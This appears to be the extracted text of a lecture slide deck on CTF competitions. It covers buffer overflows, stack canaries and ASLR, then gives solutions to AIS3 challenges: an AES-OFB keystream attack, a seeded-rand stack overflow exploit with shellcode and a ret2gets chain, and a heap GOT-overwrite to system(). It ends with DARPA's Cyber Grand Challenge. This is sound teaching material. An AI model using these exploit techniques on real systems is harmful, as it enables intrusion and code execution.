5. CTF
• Type of CTFs
• Jeopardy – Any type of problems
• Attack and Defense – Pwn + Patch
• King of the Hill – Pwn + Patch
• AIS3 Final CTF
• Jeopardy style
• Misc, Binary, Pwn, Web, Crypto
5
7. Simple Buffer Overflow
• Outdated Implementation • Input "A" * 20
7
int func1(int a, int b, int c) {
char buffer[8]; // declare a character array of 8 bytes
gets(buffer); // read user input string
return 0; // return zero
}
buffer[8]
0x00000000
0xffffffff
EBP
ret-addr
a
Stack grows in this way
b
c
Last
Stack Frame Current Stack Frame
......
0x41414141
0x41414141
0x00000000
0xffffffff
0x41414141
0x41414141
0x41414141
Stack grows in this way
b
c
Last
Stack Frame
Current Stack Frame
......
8. Stack Protector
• With Stack Protector • Input "A" * 20
8
buffer[8]
0x00000000
0xffffffff
EBP
ret-addr
a
Stack grows in this way
b
c
Last
Stack Frame
Current Stack Frame
......
Canary (?)
0x41414141
0x41414141
0x00000000
0xffffffff
0x41414141
0x41414141
a
Stack grows in this way
b
c
Last
Stack Frame
Current Stack Frame
......
0x41414141
11. ASLR (Cont’d)
• Without ASLR (0) • With ASLR (1, 2)
11
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffdf6d8c
m = 0x9b03008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xff86930c
m = 0x9b1e008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xfff9b4bc
m = 0x88f3008
char buf[64];
printf("main = %pn", main);
printf("gets = %pn", gets);
printf(" buf = %pn", buf);
printf(" m = %pn", malloc(16));
12. Misc. Issue – xinetd
12
service gagb
{
disable = no
type = UNLISTED
id = gagb
socket_type = stream
protocol = tcp
user = gagb
group = gagb
wait = no
server = /home/gagb/gagb
port = 9192
}
19. cry2 – The Source Code
19
1: key = "XXXXXXXXXXXXXXXX”
2: iv = ''.join(random.choice(string.hexdigits) for _ in range(16))
3: flag = "ais3{NEVERPHDNEVERPHDNEVERPHD..}" # Not real flag ...
4:
5: def encrypt(p):
6: return AES.new(key, AES.MODE_OFB, iv).encrypt(p)
...
7: print encrypt(flag).encode("hex")
8: while True:
...
9: p = ''.join(random.choice(string.lowercase) for _ in range(32))
10: print encrypt(p).encode("hex")
23. cry2 – Use Pwntools
• Pwntools
• A good CTF framework implemented in python
• https://github.com/Gallopsled/pwntools
• Quick Installation Guide (Ubuntu)
23
$ sudo apt-get install binutils python-dev python-pip
$ sudo pip install pwntools
24. cry2 – Enumerate All Ciphertexts
24
1: #!/usr/bin/env python
2: from pwn import *
3:
4: #r = remote('54.xxx.yyy.zzz', 5566)
5: r = process("./src.py")
6: ciphers = []
6:
7: while len(ciphers) < 100:
8: s = r.recvline().strip()
9: if len(s) == 64:
10: ciphers.append(s)
11: r.send('n')
25. cry2 – Pseudocodes to Obtain the
XOR-Pad
25
Given c: The list containing n ciphertexts (except the first one)
c = [ c1, c2, c3, …, cn ]
Suppose cu,v represents the vth byte in ciphertext cu, 1 ≤ u ≤ n
pad = "";
for v = 1 to 32:
for x = 0 to 255:
if x XOR cu,v is a lowercase alphabet for all u in [1, n]
pad = pad + x
break
use pad to decrypt the real ciphertext and obtain the flag
32. gagb – Solution
• Eh … We have to guess the number first!!
• Strategy #1: Play with the game
• Pwntools: recv, send … try all possible combinations
• Strategy #2: Use the random number trick
• Remember we have: srand(time(0)) + rand()?
• In python, we can do:
32
1: from ctypes import *
2: cdll.LoadLibrary("libc.so.6")
3: libc = CDLL("libc.so.6")
4: libc.srand(libc.time(0))
5: print libc.rand();
33. gagb – A Tricky Solution
33
1: r = process("./gagb"); # this is from pwntools …
2: num = ""
3: while len(num) < 4:
4: while True:
5: d = chr(libc.rand() % 10 + 48)
6: if len(set(num + d)) == len(num + d):
7: num = num + d
8: break
9: print r.recv()
10: print num
11: r.send(num + 'n')
12: print r.recv()
• Use ntpdateto synchronize your system clock
• You may need to uncheck "Hardware Clock in UTC Time" if you are playing
with VirtualBox or other virtual machines …
34. gagb – The Overflow Part:
Strategy #1
• The old tricks
• You have to guess the stack address
• Fill "A"*28 + addr + NOP*n + shellcode
34
context(arch = 'i386', os = 'linux')
...
shell = asm(shellcraft.sh())
r.send('A'*28 + p32(0xffffdd70) + "x90" * 400 + shell + "n")
r.interactive()
36. gagb – The Overflow Part:
Strategy #2 (1/3)
• We would not like to guess any more L
• Ask 'gets()' to do something for us
• Remember that 'gets()' requires one arguments –
the address to store the user input string
36
37. gagb – The Overflow Part:
Strategy #2 (2/3)
• We want the stack to looks like …
37
s[24]
0x00000000
0xffffffff
EBP
addr of gets()
Stack grows in this way
......
ret-addr
argument #1
return addr after gets()
address for gets() to fill
garbage
38. gagb – The Overflow Part:
Strategy #2 (3/3)
• gets@pltcan be obtained using objdump -d gagb
• After gets() finished, the program jumps to the
buffer that we have filled the shell code
38
r.send('A'*28 + p32(0x08048430) # gets@plt
+ p32(0x0804a034) + p32(0x0804a034) # any writable address
+ p32(0x12345678) * 100 + "n") # garbage
r.send(shell + "n") # fill gets() buffer
r.interactive()
08048430 <gets@plt>:
8048430: ff 25 0c a0 04 08 jmp *0x804a00c ; in GOT table
8048436: 68 00 00 00 00 push $0x0
804843b: e9 e0 ff ff ff jmp 8048420 <gets@plt-0x10>
39. gagb – Security Practice
• No more gets()
• Use /dev/urandomor /dev/random
• Or, alternatively, at least do
39
srand(time(0) ^ getpid());
44. phddb – Feature Summary
• Data stored in heap – use malloc()
• dump
• add
• Allocate header first (32 bytes)
• Allocate thesis-text according to
the given length
• edit
• Modify header content
• Reallocate thesis-text if necessary
• remove
44
thesis text ...
thesis text ...
......
0x00000000
0xffffffff
name[20]
age
length
*thesis
name[20]
age
length
*thesis
Record #0Record #1
46. phddb – Solution (1/6)
46
1. Add two records 2. Edit records #0 3. Add one more record
thesis text ...
thesis text ...
......
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
thesis text ...
freed
......
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
thesis text ...
thesis text ...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
name (ccc)
age
length (32)
*thesis
Record #2Record #2
47. phddb – Solution (2/6)
• We want to know the real address of atoi in
memory
• We can then know the C library base
• Real address of atoi minus atoi’s offset in C library
• Use objdump -d libc.so.6 to get atoi’s offset
• From objdump -d phddb, we got
the GOT entry address for atoi is 0x804b03c
47
08048560 <atoi@plt>:
8048560: ff 25 3c b0 04 08 jmp *0x804b03c
8048566: 68 60 00 00 00 push $0x60
804856b: e9 20 ff ff ff jmp 8048490 <_init+0x30>
48. phddb – Solution (3/6)
• Edit record #0
• Fill thesis text using:
• "A" * 24
• 0x20 (length)
• 0x804b03c
• GOT entry is a function
pointer to the real
address of a function
(in .so)
• Dump record #2
• Reveal atoi(?)
48
atoi (?)
c99_scanf
......
GOT
0x804b03c
0x804b038
0x804b040
thesis text ...
thesis text ...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
name (ccc)
age
length (32)
*thesis
Record #2Record #2
50. phddb – Solution (5/6)
• Recall that the main function does read() + atoi()
• We can replace atoi’s GOT entry value to any
functionwe want to call
• Replace atoi’s GOT entry value with the real
address of system(), and then send 'shn'
• Simple arithmetic
• atoi‘s real address = 0xf7e59560
• atoi offset in C library = 0x31560
• system offset in C library = 0x3fcd0
• system’s real address= 0xf7e59560 – 0x31560 + 0x3fcd0
= 0xf7e67cd0
50
51. phddb – Solution (6/6)
• Edit record #0
• Fill thesis text using:
• "A" * 24
• 0x20 (length)
• 0xf7e67cd0
• read() + atoi()
now becomes
read() + system()
• Send 'shn'
51
atoi (0xf7e59560)
c99_scanf
......
GOT
0x804b03c
0x804b038
0x804b040
thesis text ...
thesis text ...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record #0Record #1
name (ccc)
age
length (32)
*thesis
Record #2Record #2
system (0xf7e67cd0)
55. From CTF to CGC
• The Cyber War
• Cyber Army
• Capture The Flag (CTF)
• Information security competition
• Cyber Grand Challenge (CGC)
• All-computer CTF tournament
• Held by DARPA of US DoD with the DEFCON Conference in Las Vegas in 2016
55
56. Objective
• Build a Cyber Reasoning System(CRS)
• Follow CGC rules
• Automatic attack and defense
• Automatic Attack
• Analyze the program binary to find the failure
• Generate exploit
• Payload to bypass mitigation
• Automatic Defense
• Analyze the program to find the fault
• Find the faulty point
• Patch the fault in binary level
56
64. Result – Compare with ROPgadget
• ROPgadget: Common open source search and chain gadgets tool
Tool
Compare
Exploit Strengthening ROPgadget
Gadget Type Long/Short Gadgets Short Gadgets
Payload Type
Turing complete
ROP Payload API
One type payload
Integrate CRAX + Metasploit